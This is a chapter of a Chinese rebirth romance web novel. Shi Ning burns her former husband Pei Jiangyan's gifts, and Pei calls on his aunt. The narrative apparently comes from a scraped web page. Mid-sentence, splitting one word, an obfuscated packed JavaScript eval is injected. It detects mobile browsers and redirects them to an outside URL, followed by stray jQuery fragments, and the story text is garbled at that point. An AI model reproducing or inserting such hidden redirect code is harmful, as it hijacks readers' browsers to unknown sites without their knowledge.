2. “与裴世子恩断义绝。”

作品:《重回嫁给冷面世子爷前

    “真烧了,我都瞧见黑烟了,就在她院子里烧的。”


    两人都听见声音,施晟皱着眉头,施宁平日就娇蛮,此刻又闹什么幺蛾子。


    他唤了丫鬟过来,两个丫头对视一眼,才发现大公子在这,心知多嘴闯了祸,连忙跑过来跪下。


    “二小姐怎么了?”


    丫鬟不敢抬起身子,于是趴跪着回话。


    “奴婢也不太清楚,只是听二小姐房里人说,小姐醒来后性情大变,把屋子里大小物件归拢起来,一把火烧得干干净净。”


    施晟越听眉头皱得越深,对施宁的讨厌也越发浮现在脸上。


    “她又发什么癫?整日扰得府里没个清净。”


    于是又问。


    “她作何烧这些物件?”


    丫鬟仍旧不敢抬头。


    主人公就站在旁边。


    于是支支吾吾的。


    “二小姐烧的……都是裴府送的物件。”


    “扬言……扬言要与裴世子……恩断义绝,再无瓜葛。”


    ……


    施晟的怒僵在脸上。


    他偷偷瞧了眼裴江砚的面孔,见那人面上无异,才稍稍放下心来。


    他并不想得罪裴江砚,父亲为官清廉,从不结党营私,他却不是,施晟深知,在官场,若不结交人脉,便会成为被围攻的鱼,旁人结党羽翼丰满,自己独行难敌四腿。


    他只得笑笑。


    “家妹平日便骄纵,裴世子勿要介怀。”


    却听裴江砚面无异色,语气清冷道。


    “无妨,我与施小姐,从无瓜葛。”


    声音很轻,无半分旖旎。


    一时间,施晟突然不知该心疼那些物件,还是心疼施宁。


    裴江砚非池中物,哪里是施宁这样的人能染指的。


    便是公主,他也配得。


    到此,施晟也不好再与裴江砚讨论下去,于是邀请他用过午饭再走,对方摆手拒绝。


    他本是公务缠身,腾出时间聊到现在,饭肯定是没法子用了。


    言罢,两人作揖告别。


    裴江砚离府,坐上马车,方才丫鬟的话再次浮现。


    “二小姐说,要与裴世子,恩断义绝,再无瓜葛。”


    施二小姐?


    裴江砚思考了很久,才想起这位小姐的样貌。


    娴安公主生辰宴那日,他是后头过去的。


    才到府,便瞧见两位贵女倚在池边起了争执,他无意听些女儿家的小心思,刚想离开,其中一位贵女提到了他的名字。


    “便是你貌若天仙,裴世子也不会喜你分毫。”


    任谁听了这话也不会无动于衷,于是裴江砚转头望了眼那位貌若天仙的女子。


    艳颜姿容,却试图用一袭素衣压制。


    貌美女子他多见,眼前这位,实属上乘。


    那女子听了这话,瞬间跳脚起来,“那也比你强,裴江砚不喜欢我这种漂亮的,莫非会喜欢你这种丑得叫人倒胃口的?”


    这就是上辈子的施宁,胸无点墨,大脑空空,就算是反驳人,用的也是最直白最粗鄙的语气,叫人实在喜欢不起来。


    而那张任谁都称叹叫绝的容貌,也因其粗犷做派显得庸俗至极,丑貌不叫人倒胃口,她的做派却叫人难忍。


    两人双双坠河,不管救谁,都于理不合。


    裴江砚派小厮去通知主家,直到主家派来会水的仆妇将人救起,他才离去。


    思绪回笼,裴江砚才算明了今日闹剧的始作俑者其实是他自己。


    对于这位施家二小姐,正如他先前所说,他们并无瓜葛。


    他不救她,她也没欠他人情。


    至于恩断义绝这个词,裴江砚觉得言重。


    两人并无恩情缠绕,哪里来得义绝。


    马车顺势停下,车夫在外头轻喊了一声。


    “世子,永伯侯府到了。”


    他今日是奉了母亲的命,顺道来瞧瞧他姨母罗氏和刚出世的小表弟。


    罗氏两姐妹未出嫁时感情深厚,各自嫁人后联系也没断过,幸得永伯侯府算是清流,嫁进来没受过什么委屈,只是多年没有孩子,这一直是罗氏的心病。


    年初有孕的消息终于传出,如今也算是平安诞下一子,而裴母近日喝着中药调理,怕过了药气给孩子,迟迟没来看望,这活也就落到了裴江砚头上。


    裴江砚从施府出来,在酒楼用完午饭后转头扎进了永伯侯府。


    在门口递了帖子,不用多时,罗氏便差了人将他引进去。


    罗氏刚出月子,此时头上仍绑着条坠玉抹额,面上一片温柔,与从前自哀自叹的模样大不相同。


    裴江砚先是恭贺。


    “贺姨母瓜瓞绵绵,石麟降世,诞育宁馨,麟趾呈祥。”


    随后将贺礼单子摆上。


    刚出生的小表弟被抱出来,睡得安安静静。


    裴江砚瞧了一眼,罗氏示意下人将孩子递给他,裴江砚却后退一步,并没伸手。


    罗氏是想叫他抱抱孩子。


    “姨母不可,恐伤了孩子。”


    退一步的动作使满屋子人都压低声笑了起来,罗氏慢悠悠开口打趣,“砚儿何时娶个媳妇?姨母可是听说这满京城,痴恋我砚儿的女子们数不胜数,前些日子还有因为你跌落进池水的?可有这么回事?”


    罗氏打趣的不是别人,正是施宁同那沈静姝。


    真是好事不出门,坏事传千里,两人那日争执确实动静不小,说的话尽数被人听去,由此便传了开来。


    再加施宁对裴江砚的心思从不遮掩,她一旦有事,旁人只猜是因裴江砚。


    “姨母慎言,恐坏女子名节。”


    裴江砚微微低头作揖。


    面上无表情,看起来严肃冷漠。


    罗氏面上笑意一滞,便又开口,“我外甥儿一表人才,女子恋慕也乃常事,算不得坏人名节。”


    裴江砚没接话,罗氏才慢悠悠转了话题。


    她哪里不知,那掉进池中的贵女,正是她如今大嫂娘家的侄女儿,行事乖张跳脱,哪里有端庄模样,背后日日遭人耻笑,为着这事,大嫂吃了几天老夫人的冷眼。


    可到底没让她牵线搭桥,罗氏也就佯装不知,并不蹚这浑水。


    她外甥裴江砚,连任三元,如今被圣上赏识,翰林院任职,又有父亲助力,赐爵世子,何愁未来前途。


    不说一手遮天,但以外甥的能力,未来官居二品必定不在话下。


    说些掉脑袋的话,便是皇帝,罗氏也认为自己这外甥侄儿能做得。


    裴江砚又与罗氏聊了聊母亲,见天色不早,起身告


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240854|197728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辞。


    罗氏知他公务繁忙,也没留他,准备了回礼叫他带回去。


    临出门前,她才想起一事。


    “砚儿,过几日府上老夫人过寿,姨母知你公务忙,但来的人多数有头有脸,于你官场有益,姨母知你不喜攀附,可独木难支,结伴而行也没有坏处,你且来贺个寿,姨母面上也有些光彩。”


    思考良久,裴江砚点了头。


    “姨母,我知道了。”


    ……


    施宁那头,丫鬟们处理好地上漆黑残物,锦心搀扶着施宁回房,物件太多,整整烧了一个时辰,现今整个院子都弥漫着烟熏火燎的味道,这事也就是施宁敢做,换作府里任何一位公子小姐,那都是要吃好一顿刑罚的。


    施宁进了屋,屋内装饰少了大半。


    东西少了,心却干净了。


    她根本没意识到,自己这个举动早已传到当事人耳里,甚至话已变成“恩断义绝……再无瓜葛。”


    施宁的原话。


    “往后裴府送的礼一概扔进库房,再不要过到我的眼前,我与裴江砚,自此陌路,再无瓜葛。”


    哪里有恩?她快恨死他了。


    汲汲营营半生,只为乞怜一份属于裴江砚的爱,他对她从来冷漠,无视,而她,从高高在上的掌上明珠,变成了顾影自怜的无知女人。


    爱到最后,连性命都送了去。


    重来一世,她只想离他远一点,再也不要见到才好。


    又休养了一阵,施宁的身子才算真的好利索起来,前些日子身上病气,怕过给祖母,便一直没去看望。


    今日正赶上父亲休沐,于是施宁早早起身,准备去瞧瞧老太太。


    施家老太太多子多福,膝下三个儿子两个女儿。


    施宁的爹排行老三,上面两个姐姐早已出嫁,如今施府并未分家,管事权在施夫人手中。


    施宁身份就可见高贵起来。


    日常吃穿用度是府里所有公子小姐中最充盈的,偏她嘴还最甜,最得老太太喜欢,老太太私库中许多新奇玩意,总是第一时间送给施宁,这也导致上辈子的施宁天不怕地不怕,养成了一身刁蛮脾性,后来竟胆大包天算计裴江砚,算计成了他的妻。


    冷风吹过,施宁打了个哆嗦,捂紧了些手里的汤婆子。


    施家老太太的凝香堂地龙烧得最旺,施宁刚进去,浑身的寒意立刻驱散,她来得早,祖母还没收拾妥帖,等了一会儿,施家其他几房也都过来了。


    众人都有一阵没见施宁,七嘴八舌开始问候起来。


    “宁儿落水可好些了?几日不见,瞧着都瘦了。”


    说话的是施宁婶母沈清秋,施家老五的媳妇,她称其小婶婶。


    施宁朝着点了点头,“托婶母挂念,施宁已无大恙。”


    沈清秋年轻,穿衣打扮也最时兴,往往京中刚流行出什么衣裳样式,第二日她就穿在了身上。


    膝下也是一子一女,此刻两个孩子安安静静坐着,并不多搭腔。


    施宁同四婶母关系最为亲厚,四婶母与四叔父膝下没孩子,看施宁就跟看自己孩子似的,眼下看见施宁已经活蹦乱跳,心终于放下,眉梢都带着笑意。


    四婶母荆兰安开口,“宁儿,往后你可要小心些,你不知你昏沉的这几天,婶母的心都跟刀割似的。”